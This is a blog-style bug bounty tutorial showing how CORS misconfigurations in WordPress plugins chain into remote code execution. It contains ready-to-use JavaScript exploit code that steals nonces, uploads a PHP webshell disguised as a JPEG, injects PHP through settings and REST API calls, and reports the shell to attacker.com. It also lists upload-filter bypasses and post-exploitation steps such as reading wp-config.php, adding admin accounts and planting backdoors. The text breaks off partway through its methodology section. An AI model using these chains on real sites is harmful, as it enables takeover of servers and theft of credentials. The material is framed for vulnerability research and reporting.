From CORS to RCE: WordPress Bug Bounty Chains
Understanding CORS in WordPress
WordPress's wp-admin/admin-ajax.php is the central AJAX dispatch endpoint. Every plugin and theme registers actions that are callable via HTTP requests to this file. The endpoint runs the full WordPress bootstrap, including user authentication and nonce verification - but the CORS policy is controlled by the server, not the application.
A typical AJAX request to a WordPress plugin looks like:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_...=admin
action=myplugin_do_thing&_wpnonce=abc123¶m=value
The response typically includes:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://target.com
Access-Control-Allow-Credentials: true
The vulnerability arises when the server reflects the Origin header into Access-Control-Allow-Origin while also sending Access-Control-Allow-Credentials: true. This combination allows any website on the internet to make authenticated cross-origin requests - the victim's browser cookies are included, and the attacker's JavaScript can read the response.
The WordPress CORS Default
WordPress core itself does not set CORS headers on admin-ajax.php by default. The vulnerability enters through one of three paths:
- Plugin-level CORS headers. Many plugins add their own CORS middleware - typically REST API plugins, gallery plugins with image upload endpoints, or plugins that expose public-facing AJAX actions.
- Theme-level CORS headers. Some themes add
header("Access-Control-Allow-Origin: *")infunctions.phpwithout understanding the security implications when combined withAllow-Credentials: true. - Server-level CORS headers. A misconfigured
.htaccessor nginx config that reflects theOriginheader.
The most dangerous pattern - and unfortunately the most common - is:
// Plugin code that "supports CORS"
header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
header('Access-Control-Allow-Credentials: true');
This reflects any origin. Combined with Allow-Credentials: true, it means any website can make authenticated requests. This is not a bug in the CORS spec - it's a deliberate, if naive, configuration choice by the plugin developer.
Chain 1: CORS โ CSRF โ Arbitrary File Upload โ RCE
Target Profile
A WordPress plugin that provides a frontend file upload feature (image galleries, document managers, form builders). The plugin registers an AJAX action for file upload that:
- Checks the WordPress nonce - but the nonce is fetchable cross-origin (see below).
- Validates the file type - but the validation is client-side or uses a weak allowlist.
- Stores the file in a web-accessible directory (
wp-content/uploads/).
Step 1: The CORS Misconfiguration
The plugin adds CORS headers to enable cross-origin uploads from a frontend React/Vue widget:
add_action('init', function () {
if (isset($_SERVER['HTTP_ORIGIN'])) {
header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Vary: Origin');
}
});
This code runs on every request, including admin-ajax.php. The Vary: Origin header is correct from a caching perspective but doesn't mitigate the vulnerability - it just ensures the reflected origin is cached per-origin.
Step 2: The CSRF Bypass
WordPress nonces are time-limited tokens (valid for 24 hours) that protect against CSRF. But they're not CSRF tokens in the traditional sense - they're session-based and predictable. A nonce for action myplugin_upload is the same for all logged-in admin users within the same 12-hour tick.
With the CORS vulnerability, an attacker can fetch the nonce cross-origin:
// Attacker's page (evil.com)
async function stealNonce() {
// Fetch any page that contains the nonce (e.g., the plugin's settings page)
const response = await fetch('https://target.com/wp-admin/admin-ajax.php', {
method: 'POST',
credentials: 'include', // send the victim's cookies
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'action=myplugin_get_nonce'
});
const text = await response.text();
// The CORS misconfiguration allows us to read the response
const nonceMatch = text.match(/"nonce":"([a-f0-9]+)"/);
return nonceMatch ? nonceMatch[1] : null;
}
Even if the plugin doesn't have a dedicated "get nonce" AJAX action, many plugins embed nonces in the HTML of their settings pages or frontend shortcodes. The CORS misconfiguration lets the attacker read the full page content cross-origin and extract the nonce.
Step 3: The Arbitrary File Upload
With the nonce in hand, the attacker uploads a PHP webshell:
async function uploadShell(nonce) {
// Craft a PHP payload disguised as an image
const phpPayload = `<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>`;
// Build a polyglot file: valid JPEG header + PHP payload in EXIF/comment
const jpegHeader = new Uint8Array([0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01]);
// Create the polyglot: JPEG magic bytes + PHP payload
const blob = new Blob([jpegHeader, phpPayload], {type: 'image/jpeg'});
const formData = new FormData();
formData.append('action', 'myplugin_upload');
formData.append('_wpnonce', nonce);
formData.append('file', blob, 'image.php');
const response = await fetch('https://target.com/wp-admin/admin-ajax.php', {
method: 'POST',
credentials: 'include',
body: formData
});
const result = await response.json();
// The plugin stores files in wp-content/uploads/year/month/
// The response reveals the file URL
return result.data.url;
}
The plugin's file type validation typically checks wp_check_filetype() which inspects the file extension and the MIME type from the JPEG header. If the plugin allows .php (unlikely) or if the validation can be bypassed (likely - see below), the file lands in wp-content/uploads/2025/01/image.php.
Common file upload bypasses in WordPress plugins:
- Double extension:
image.php.jpg- some servers execute the first recognized extension. - Null byte:
image.php%00.jpg- works on older PHP versions. - .htaccess override: Upload a
.htaccessfile that makes.jpgfiles execute as PHP, then uploadshell.jpg. - Content-Type spoofing: The plugin checks
$_FILES['file']['type'](client-controlled) instead offinfo_file()(server-side). - Magic bytes + extension: The JPEG header passes
getimagesize(), but the server executes PHP in the EXIF comment. This is the classic "image polyglot" attack.
Step 4: Remote Code Execution
Once the PHP file is at a known URL:
https://target.com/wp-content/uploads/2025/01/image.php?cmd=id
The attacker has full RCE as the web server user (www-data typically). From here:
- Read
wp-config.phpfor database credentials. - Modify the database to create a new admin account.
- Install a persistent backdoor (mu-plugin or theme edit).
- Pivot to other services on the internal network.
Full Exploit Chain (Attacker's Page)
<!DOCTYPE html>
<html>
<body>
<script>
const TARGET = 'https://target.com';
const AJAX = TARGET + '/wp-admin/admin-ajax.php';
async function exploit() {
// 1. Steal the nonce via CORS
const nonce = await stealNonce();
if (!nonce) {
console.log('Failed to steal nonce');
return;
}
// 2. Upload the webshell
const shellUrl = await uploadShell(nonce);
if (!shellUrl) {
console.log('Upload failed');
return;
}
// 3. Execute a command
const cmdUrl = shellUrl.replace(/\.php$/, '.php') + '?cmd=id';
// We can't read the output cross-origin (different path),
// but the shell is now persistent
console.log('Shell uploaded at:', shellUrl);
// 4. Exfiltrate via a DNS tunnel or webhook
fetch('https://attacker.com/callback?shell=' + encodeURIComponent(shellUrl));
}
exploit();
</script>
</body>
</html>
Chain 2: CORS โ Settings Poisoning โ RCE
Target Profile
A plugin with a settings page that allows the administrator to configure custom CSS/JS that gets inserted into the site's pages. Some such plugins store the custom code in .php files (for performance - "no database query needed") and include() them.
The Vulnerability
The settings update AJAX action checks the nonce and the user capability (manage_options - admin only). But with the CORS misconfiguration, an attacker can make the request as the authenticated admin:
async function poisonSettings(nonce) {
// Inject PHP code into the "custom CSS" field
const payload = `*/ ?> <?php system($_GET['cmd']); ?> <?php /*`;
const response = await fetch(AJAX, {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
action: 'myplugin_save_settings',
_wpnonce: nonce,
custom_css: payload,
save: 'true'
})
});
return response.json();
}
The plugin saves the "CSS" to wp-content/uploads/myplugin/custom.css.php and include()s it on every page load. The PHP code inside the "CSS" executes.
Why Nonce Verification Doesn't Help
WordPress nonces are session-bound but not request-bound. A nonce for myplugin_save_settings is valid for 24 hours and can be used unlimited times. The CORS vulnerability lets the attacker:
- Fetch the settings page HTML to extract the nonce (embedded in a
data-nonceattribute or awp_localize_scriptcall). - Submit the settings update with the stolen nonce.
Even if the nonce changes every 12 hours (WordPress's default tick), the attacker can steal it at the moment of exploitation - the victim is browsing the attacker's page right now.
Chain 3: CORS โ REST API Abuse โ RCE
WordPress 4.7+ ships with a built-in REST API at /wp-json/wp/v2/. Some endpoints (like reading posts) are public. Others (like updating posts) require authentication and a nonce.
The Vulnerability
The REST API nonce (wpApiSettings.nonce or the X-WP-Nonce header) is embedded in the HTML of every page that loads the WordPress frontend JavaScript. With the CORS misconfiguration:
async function getRestNonce() {
// Fetch any page on the target site
const response = await fetch(TARGET + '/', { credentials: 'include' });
const html = await response.text();
// Extract the REST nonce
const match = html.match(/"nonce":"([a-f0-9]+)"/) || html.match(/wpApiSettings.*?nonce["\s:=]+"([a-f0-9]+)"/);
return match ? match[1] : null;
}
With the REST nonce, the attacker can use any authenticated REST endpoint. The most dangerous for RCE are:
- Post meta manipulation - some plugins store executable code in post meta.
- Theme file editing - the
wp/v2/themesendpoint (if exposed) can modify theme files. - Plugin activation - activate a vulnerable plugin that was installed but not active.
async function rceViaRest(nonce) {
// Edit a theme file via the REST API (if the endpoint is exposed)
const response = await fetch(TARGET + '/wp-json/wp/v2/themes/twentytwentyone', {
method: 'POST',
credentials: 'include',
headers: {
'X-WP-Nonce': nonce,
'Content-Type': 'application/json'
},
body: JSON.stringify({
// Inject PHP into the theme's functions.php equivalent
'stylesheet': '<?php system($_GET["cmd"]); ?>'
})
});
return response.json();
}
Finding CORS-to-RCE Chains: A Methodology
Phase 1: Identify the Target
Focus on WordPress sites that:
- Run plugins with frontend AJAX features (file upload, form submission, settings panels).
- Have a
.htaccessor nginx config with CORS rules. - Expose the
Link: <...wp-json>; rel="https://api.w.org/"header (indicates the REST API is available). - Use WPScan or manually check
/wp-content/plugins/for installed plugins.
Phase 2: Test for CORS Misconfiguration
Send a request with a custom Origin header:
curl -v -H "Origin: https://evil.com" \
"https://target.com/wp-admin/admin-ajax.php?action=myplugin_action" \
2>&1 | grep -i "access-control"
If the response includes:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
You have a CORS vulnerability. The reflection of your custom origin with Allow-Credentials: true is the bug.
Phase 3: Map the AJAX Surface
Enumerate all registered AJAX actions:
# Grep the plugin source for registered actions
grep -rn "wp_ajax_" wp-content/plugins/target-plugin/
grep -rn "wp_ajax_nopriv_" wp-content/plugins/target-plugin/
wp_ajax_ actions require authentication. wp_ajax_nopriv_ actions are available to unauthenticated users (and are often the more dangerous ones).
Phase 4: Identify Dangerous Actions
Look for actions that:
- Call
file_put_contents(),move_uploaded_file(),
Comments
No comments yet. Start the discussion.